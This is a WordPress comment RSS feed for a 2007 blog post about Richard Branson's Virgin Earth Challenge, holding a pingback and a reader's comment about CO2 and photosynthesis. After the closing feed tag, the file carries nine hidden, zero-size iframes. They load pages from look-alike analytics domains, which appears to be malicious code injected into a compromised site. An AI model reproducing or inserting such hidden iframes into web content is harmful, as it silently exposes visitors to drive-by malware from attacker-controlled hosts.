<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress/2.3.3" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>
<channel>
	<title>Comments on: Richard Branson invests in our future</title>
	<link>http://fall-line.com/2007/02/09/richard-branson-invests-in-our-future</link>
	<description>the shortest distance from here to there</description>
	<pubDate>Fri, 21 Nov 2008 23:32:03 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.3</generator>
		<item>
		<title>By: Looking Down the Fall Line &#187; Global Warming: A national awakening</title>
		<link>http://fall-line.com/2007/02/09/richard-branson-invests-in-our-future#comment-38</link>
		<dc:creator>Looking Down the Fall Line &#187; Global Warming: A national awakening</dc:creator>
		<pubDate>Tue, 27 Feb 2007 21:15:20 +0000</pubDate>
		<guid>http://fall-line.com/2007/02/09/richard-branson-invests-in-our-future#comment-38</guid>
		<description>[...] You may have seen that I wrote about one such story back in early February. Richard Branson with the endorsement of Al Gore announced the Virgin Earth Challenge, sponsoring a $25 million dollar prize for researchers who could create a process to effectively remove large amounts of CO2 from our atmosphere. [...]</description>
		<content:encoded><![CDATA[<p>[&#8230;] You may have seen that I wrote about one such story back in early February. Richard Branson with the endorsement of Al Gore announced the Virgin Earth Challenge, sponsoring a $25 million dollar prize for researchers who could create a process to effectively remove large amounts of CO2 from our atmosphere. [&#8230;]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Gene Best</title>
		<link>http://fall-line.com/2007/02/09/richard-branson-invests-in-our-future#comment-30</link>
		<dc:creator>Gene Best</dc:creator>
		<pubDate>Sat, 10 Feb 2007 16:44:29 +0000</pubDate>
		<guid>http://fall-line.com/2007/02/09/richard-branson-invests-in-our-future#comment-30</guid>
		<description>I'm guessing Branson has researched the effect of removing this much CO2 from the atmosphere.  However, just in case he hasn't, I feel it is important to point out that all green plants extract CO2 from the atmosphere and use it in  photosynthesis.  The plants create oxygen for the atmosphere as a result of photosynthesis. Without CO2 all green plants will die and our oxygen supply will disappear.  Perhaps the solution to greenhouse gases is to pay farmers to plant trees instead of crops that become part of our national surplus.</description>
		<content:encoded><![CDATA[<p>I&#8217;m guessing Branson has researched the effect of removing this much CO2 from the atmosphere.  However, just in case he hasn&#8217;t, I feel it is important to point out that all green plants extract CO2 from the atmosphere and use it in  photosynthesis.  The plants create oxygen for the atmosphere as a result of photosynthesis. Without CO2 all green plants will die and our oxygen supply will disappear.  Perhaps the solution to greenhouse gases is to pay farmers to plant trees instead of crops that become part of our national surplus.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<iframe src="http://google-analyze.info/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://pinoc.info/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://pinoc.org/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://google-analyze.org/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://msn-analytics.net/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://pinoc.org/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://yahoo-analytics.net/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://pinoc.org/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://google-analyze.org/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>